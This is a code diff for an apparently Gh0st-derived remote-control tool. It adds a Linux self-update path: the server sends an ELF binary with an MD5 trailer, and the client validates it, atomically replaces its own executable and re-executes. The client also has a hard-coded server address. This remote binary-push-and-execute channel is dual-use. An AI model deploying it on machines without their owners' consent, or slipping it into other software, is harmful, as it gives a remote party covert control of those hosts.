diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index e7c8bcc..5baf700 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -665,8 +665,14 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, for (int i = 0; i < 16 && i < (int)bufLen; ++i) { char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp; } +#ifdef _WIN32 Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (TlsEnabled=%d tlsReady=%d)\n", this, bufLen, buf.c_str(), (int)TlsEnabled(), (int)m_tls.IsReady()); +#else + // 非 Windows 平台没有 TlsChannel(TLS 只在 Windows 客户端实现) + Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s\n", + this, bufLen, buf.c_str()); +#endif m_CompressedBuffer->ClearBuffer(); break; } diff --git a/common/commands.h b/common/commands.h index bdadc76..8464e49 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1696,6 +1696,10 @@ typedef struct CharMsg { } } CharMsg; +#endif + +// 客户端 -> 服务端的老式提示框消息(TOKEN_CLIENT_MSG)。原来定义在 _WIN32 区内, +// Linux 客户端自升级失败回报也要用,故移到公共区(strcpy_s 在非 Windows 下已 alias)。 typedef struct ClientMsg { unsigned char cmd; char title[31]; @@ -1718,4 +1722,3 @@ typedef struct ClientMsg { } } ClientMsg; -#endif diff --git a/linux/README.md b/linux/README.md index 9e59134..083efde 100644 --- a/linux/README.md +++ b/linux/README.md @@ -160,6 +160,53 @@ make -j$(nproc) kill $(cat ~/.config/ghost/ghost.pid) ``` +## 远程升级 + +服务端选中一台 Linux 主机后点「升级程序」,即可把新的 `ghost` 推下去并自动重启。 + +### 服务端准备 + +按以下优先级取 ELF,前一级拿不到才看下一级: + +| 顺序 | 来源 | 说明 | +|-----|------|------| +| 1 | `settings.ini` 的 `[settings] LinuxClientPath` | 显式指定。配了但读不到会直接报错,不会偷偷换成别的版本 | +| 2 | 服务端**程序目录**下的 `ghost_linux_amd64` | 换个文件即可,不必重编服务端 | +| 3 | 服务端 `res\ghost_linux` | 项目通用的外部资源目录 | +| 4 | 内嵌资源 `IDR_LINUX_GHOST` | 编译进服务端 exe(构建时取 `linux/ghost`),磁盘上什么都不用放 | + +```ini +[settings] +LinuxClientPath=C:\build\ghost +``` + +第 4 级是编译时的快照,想换版本要么放到第 1~3 级,要么重编服务端。 + +只接受 64 位 x86_64 ELF(`ELFCLASS64` + `EM_X86_64`),其它文件会在下发前被拒绝并提示。 + +### 下发格式 + +``` +[COMMAND_UPDATE:1][size:8 LE][ELF:size][md5:32 ASCII 小写 hex] +``` + +Windows 客户端的同名命令没有摘要(走内存加载器/更新器),LNX 多出 32 字节 MD5。 + +### 客户端行为 + +1. 校验长度、ELF magic、`e_machine` 与本机自身 ELF 头一致、MD5 匹配; +2. 在自身所在目录写临时文件 `.<名字>.new.`(0755)并 `fsync`; +3. 用 `rename()` 原子替换正在运行的二进制(Linux 允许替换执行中的 inode), + 旧版本保留为 `<名字>.old`; +4. `fork` + `setsid` + 关闭继承的 fd + 等待老进程退出,再用**原始命令行** `execv` 新版本; + 老进程以 `g_bExit = S_CLIENT_UPDATE` 正常退出,服务端立刻看到断线重连。 + +前提:客户端所在目录对运行用户可写(否则报「cannot create ...: Permission denied」)。 +任何一步失败都不会退出进程,原因会写进客户端日志并发到服务端消息栏 +(`Linux client update failed`)。 + +回滚:把 `ghost.old` 拷回 `ghost` 并重启即可(它会在下次升级时被覆盖)。 + ## 常见问题 ### Q: 远程桌面功能不工作 diff --git a/linux/main.cpp b/linux/main.cpp index 69a463f..72c0527 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -37,8 +37,12 @@ #include "common/posix_net_helpers.h" #include "common/sub_conn_thread.h" #include "LinuxConfig.h" +#include +#include +#include int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); +static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength); // 远程地址:当前为写死状态,如需调试,请按实际情况修改 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX }; @@ -47,6 +51,12 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L State g_bExit = S_CLIENT_NORMAL; static std::atomic g_needResendLogin(false); // 分组变更后需要重发登录信息 +// 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行, +// 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。 +static int g_argc = 0; +static char** g_argv = nullptr; +static IOCPClient* g_pMainClient = nullptr; + // 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。 // 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF // 立即返回成功),必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic: @@ -470,6 +480,10 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) // 标记需要重发登录信息(让服务端更新分组显示) g_needResendLogin.store(true); Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str()); + } else if (szBuffer[0] == COMMAND_UPDATE) { + // 服务端"升级程序"菜单下发新版本 ELF + Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength); + ApplySelfUpdate(szBuffer, ulLength); } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } @@ -806,11 +820,210 @@ static void setupSignals() signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略 } +// ============== 客户端自升级(COMMAND_UPDATE) ============== +// 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有): +// [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex] +// 摘要只用于发现传输/落盘损坏:主通道本身已有掩码 + 可选 TLS。 +// +// 关键约束: +// - 正在运行的 ELF 不能 O_TRUNC / 原地覆盖(ETXTBSY),必须先写同目录临时文件 +// (同一文件系统,rename 才是原子的); +// - Linux 允许 rename() 覆盖正在执行的 inode,老进程继续跑完自己那份, +// 新进程用新 inode; +// - fork 子进程 -> setsid -> 关掉继承的 fd -> 等老进程退出 -> execv, +// 否则服务端会看到同一 clientID 两条连接并存,且新进程写 PID 文件前可能 +// 被 isAlreadyRunning() 误判。 +// 升级失败一律不退出进程:报错(ClientMsg 报到服务端消息栏 + 写客户端日志)后 +// 继续用当前版本。 + +static const size_t kUpdateMd5HexLen = 32; + +// MD5 小写 hex;与 Windows 侧 common/md5.h CalcMD5FromBytes 输出一致 +static std::string md5HexOf(const unsigned char* data, size_t len) +{ + unsigned char digest[EVP_MAX_MD_SIZE]; + unsigned int digestLen = 0; + std::string hex; + EVP_MD_CTX* ctx = EVP_MD_CTX_new(); + if (!ctx) return hex; + if (EVP_DigestInit_ex(ctx, EVP_md5(), nullptr) == 1 && + EVP_DigestUpdate(ctx, data, len) == 1 && + EVP_DigestFinal_ex(ctx, digest, &digestLen) == 1) { + static const char kHex[] = "0123456789abcdef"; + hex.reserve(digestLen * 2); + for (unsigned int i = 0; i < digestLen; ++i) { + hex.push_back(kHex[digest[i] >> 4]); + hex.push_back(kHex[digest[i] & 0x0F]); + } + } + EVP_MD_CTX_free(ctx); + return hex; +} + +// 自身 ELF 头的 e_machine(偏移 18,ELF32/ELF64 相同),用于拒绝架构不符的包 +static int selfElfMachine() +{ + std::ifstream f("/proc/self/exe", std::ios::binary); + unsigned char hdr[20] = {}; + if (!f.read((char*)hdr, sizeof(hdr))) return -1; + if (hdr[0] != 0x7f || hdr[1] != 'E' || hdr[2] != 'L' || hdr[3] != 'F') return -1; + return hdr[18] | (hdr[19] << 8); +} + +// 升级失败回报:客户端没有 UI,走 ClientMsg(服务端消息栏 + get_audit_log)并写日志 +static void reportUpdateFailure(const std::string& reason) +{ + Mprintf("** UPDATE failed: %s ***\n", reason.c_str()); + if (!g_pMainClient || !g_pMainClient->IsConnected()) return; + ClientMsg msg("Linux client update failed", reason.c_str()); + g_pMainClient->Send2Server((char*)&msg, sizeof(msg)); +} + +static bool writeAll(int fd, const unsigned char* data, size_t len) +{ + while (len > 0) { + ssize_t n = write(fd, data, len); + if (n <= 0) { + if (n < 0 && errno == EINTR) continue; + return false; + } + data += n; + len -= (size_t)n; + } + return true; +} + +static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength) +{ + const size_t headerLen = 1 + sizeof(uint64_t); + if (ulLength < headerLen + kUpdateMd5HexLen) { + reportUpdateFailure("payload too short"); + return; + } + uint64_t size = 0; + memcpy(&size, szBuffer + 1, sizeof(size)); + if (size == 0 || size > (uint64_t)(ulLength - headerLen - kUpdateMd5HexLen)) { + reportUpdateFailure("payload size invalid"); + return; + } + const unsigned char* payload = szBuffer + headerLen; + const char* trailer = (const char*)payload + size; + + if (size < 20 || payload[0] != 0x7f || payload[1] != 'E' || + payload[2] != 'L' || payload[3] != 'F') { + reportUpdateFailure("payload is not an ELF binary"); + return; + } + int machine = payload[18] | (payload[19] << 8); + int selfMachine = selfElfMachine(); + if (selfMachine > 0 && machine != selfMachine) { + char buf[96]; + snprintf(buf, sizeof(buf), "arch mismatch: payload e_machine=%d, running=%d", + machine, selfMachine); + reportUpdateFailure(buf); + return; + } + + std::string expect(trailer, kUpdateMd5HexLen); + for (auto& c : expect) c = (char)tolower((unsigned char)c); + std::string actual = md5HexOf(payload, (size_t)size); + if (actual.empty() || actual != expect) { + reportUpdateFailure("md5 mismatch (corrupted payload)"); + return; + } + + std::string target = getExePath(); + size_t slash = target.find_last_of('/'); + if (target.empty() || slash == std::string::npos) { + reportUpdateFailure("cannot resolve own executable path"); + return; + } + std::string dir = target.substr(0, slash + 1); + std::string base = target.substr(slash + 1); + std::string tmp = dir + "." + base + ".new." + std::to_string((long)getpid()); + std::string backup = target + ".old"; + + unlink(tmp.c_str()); // 上一轮残留(同一 pid 复用) + int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_EXCL, 0755); + if (fd < 0) { + reportUpdateFailure("cannot create " + tmp + ": " + strerror(errno)); + return; + } + bool ok = writeAll(fd, payload, (size_t)size); + if (ok) ok = (fchmod(fd, 0755) == 0); + if (ok) ok = (fsync(fd) == 0); + if (close(fd) != 0) ok = false; + if (!ok) { + int err = errno; + unlink(tmp.c_str()); + reportUpdateFailure("cannot write " + tmp + ": " + strerror(err)); + return; + } + + // 备份旧版本便于回滚(下次升级时覆盖);备份失败不影响升级 + unlink(backup.c_str()); + if (link(target.c_str(), backup.c_str()) != 0) { + Mprintf("** UPDATE: no backup kept (%s): %s ***\n", backup.c_str(), strerror(errno)); + } + if (rename(tmp.c_str(), target.c_str()) != 0) { + int err = errno; + unlink(tmp.c_str()); + reportUpdateFailure("cannot replace " + target + ": " + strerror(err)); + return; + } + + // 先把参数数组准备好(fork 之后只做 async-signal-safe 的事) + std::string arg0 = target; + std::vector args; + args.reserve((size_t)g_argc + 1); + args.push_back(&arg0[0]); + for (int i = 1; i < g_argc; ++i) args.push_back(g_argv[i]); + args.push_back(nullptr); + + long maxFd = sysconf(_SC_OPEN_MAX); + if (maxFd < 0 || maxFd > 65536) maxFd = 65536; + pid_t parent = getpid(); + + // 先摘掉 PID 文件:新进程主循环前的 isAlreadyRunning() 不能看到老 pid + removePidFile(); + + pid_t pid = fork(); + if (pid < 0) { + int err = errno; + writePidFile(); // 升级没完成,恢复现状 + reportUpdateFailure(std::string("fork failed: ") + strerror(err)); + return; + } + if (pid == 0) { + setsid(); + int devnull = open("/dev/null", O_RDWR); + if (devnull >= 0) { + dup2(devnull, STDIN_FILENO); + dup2(devnull, STDOUT_FILENO); + dup2(devnull, STDERR_FILENO); + if (devnull > STDERR_FILENO) close(devnull); + } + // 关掉继承的 socket / 日志等 fd,避免老连接挂着不放 + for (long f = STDERR_FILENO + 1; f < maxFd; ++f) close((int)f); + // 等老进程退出再 exec(最多 5s)。僵尸态 kill(pid,0) 仍返回存活,故设上限。 + for (int i = 0; i < 50 && kill(parent, 0) == 0; ++i) usleep(100 * 1000); + execv(target.c_str(), args.data()); + _exit(127); // exec 失败:新版本已落盘,下次启动会用它 + } + + Mprintf("** UPDATE applied: %s (%llu bytes), restarting ***\n", + target.c_str(), (unsigned long long)size); + g_bExit = S_CLIENT_UPDATE; +} + // 用法: ./ghost [-d] [IP] [端口] // -d 后台守护进程模式 // 示例: ./ghost -d 192.168.1.100 6543 int main(int argc, char* argv[]) { + g_argc = argc; + g_argv = argv; + // 解析 -d 参数 bool daemon_mode = false; int argStart = 1; @@ -970,6 +1183,7 @@ int main(int argc, char* argv[]) std::unique_ptr ClientObject(new IOCPClient(g_bExit, false)); ClientObject->setManagerCallBack(NULL, DataProcess, NULL); + g_pMainClient = ClientObject.get(); // 自升级失败回报用 while (!g_bExit) { clock_t c = clock(); if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 0b25aac..578044b 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -4899,6 +4899,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate() return; PBYTE buffer = nullptr; ULONGLONG fileSize = 0; + ULONG packetSize = 0; // LNX 载荷尾部带 32 字节 MD5,故不总是 9 + fileSize CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString(); if (clientType == "EXE") { CUpdateDlg dlg(this); @@ -4943,10 +4944,95 @@ void CMy2015RemoteDlg::OnOnlineUpdate() fileSize = 0; buffer = new BYTE[fileSize + 9](); buffer[0] = COMMAND_UPDATE; + } else if (clientType == "LNX") { + // Linux 客户端是独立 ELF(不经过内存加载器),载荷布局与 Windows 不同: + // [cmd:1][size:8][ELF:size][md5:32 ASCII 小写 hex] + // 客户端把新版本写到同目录临时文件、校验后 rename 覆盖自己再 execv 重启。 + // ELF 来源(优先级从高到低): + // 1. ini [settings] LinuxClientPath —— 显式指定,读不到就直接报错,不悄悄换成别的版本 + // 2. 程序目录 ghost_linux_amd64 —— 磁盘上换个文件即可,不用重编服务端 + // 3. res\ghost_linux → 内嵌资源 IDR_LINUX_GHOST —— 服务端自带的兜底,什么都不用放 + // MVP 只支持 x86_64(客户端也会用自身 ELF 头的 e_machine 再校验一次)。 + std::string iniPath = THIS_CFG.GetStr("settings", "LinuxClientPath", ""); + std::string defaultPath; + { + // 程序所在目录(注意 GetParentDir() 是再上一级,不能直接用) + char exePath[MAX_PATH] = {}; + GetModuleFileNameA(NULL, exePath, MAX_PATH); + std::string progDir(exePath); + size_t pos = progDir.find_last_of("\\/"); + if (pos != std::string::npos) progDir = progDir.substr(0, pos); + defaultPath = progDir + "\\ghost_linux_amd64"; + } + std::vector elf; + std::string source; // 实际用到的来源,只用于日志 + // 从磁盘读;不存在/为空/超过 64MB 都算失败,由调用方决定要不要往下一级找 + auto readDisk = [&](const std::string& p) { + std::ifstream in(p.c_str(), std::ios::binary | std::ios::ate); + std::streamoff len = in ? (std::streamoff)in.tellg() : -1; + if (len <= 0 || len > 64 * 1024 * 1024) return false; + elf.resize((size_t)len); + in.seekg(0); + if (!in.read((char*)elf.data(), len)) { + elf.clear(); + return false; + } + source = p; + return true; + }; + bool loaded = false; + if (!iniPath.empty()) { + loaded = readDisk(iniPath); + } else { + loaded = readDisk(defaultPath); + if (!loaded) { + DWORD resSize = 0; + LPBYTE data = ReadResource(IDR_LINUX_GHOST, resSize, ResFileName::GHOST_LINUX); + if (data && resSize) { + elf.assign(data, data + resSize); + source = "res\\ghost_linux 或内嵌资源"; + loaded = true; + } + delete[] data; + } + } + auto reject = [&](LPCTSTR why) { + CString msg; + msg.Format(_L("无法使用 Linux 客户端文件:\n%s\n\n%s"), + (iniPath.empty() ? defaultPath : iniPath).c_str(), why); + MessageBoxL(msg, _T("提示"), MB_ICONWARNING); + }; + if (!loaded || elf.size() < 64) { + reject(_L("文件不存在或过小(可在 settings.ini 设置 LinuxClientPath)")); + return; + } + Mprintf("[Update] Linux client ELF: %s (%u bytes)\n", source.c_str(), (unsigned)elf.size()); + if (elf[0] != 0x7f || elf[1] != 'E' || elf[2] != 'L' || elf[3] != 'F') { + reject(_L("不是 ELF 可执行文件")); + return; + } + int machine = elf[18] | (elf[19] << 8); + if (elf[4] != 2 || machine != 0x3E) { // ELFCLASS64 + EM_X86_64 + reject(_L("只支持 x86_64 ELF(ELFCLASS64 / EM_X86_64)")); + return; + } + std::string md5 = CalcMD5FromBytes(elf.data(), (DWORD)elf.size()); + if (md5.size() != 32) { + reject(_L("无法计算校验值")); + return; + } + fileSize = elf.size(); + packetSize = (ULONG)(9 + fileSize + 32); + buffer = new BYTE[packetSize]; + buffer[0] = COMMAND_UPDATE; + memset(buffer + 1, 0, 8); + memcpy(buffer + 1, &fileSize, 8); + memcpy(buffer + 9, elf.data(), (size_t)fileSize); + memcpy(buffer + 9 + fileSize, md5.c_str(), 32); } if (buffer) { - SendSelectedCommand((PBYTE)buffer, 9 + fileSize); + SendSelectedCommand((PBYTE)buffer, packetSize ? packetSize : (ULONG)(9 + fileSize)); delete[] buffer; } }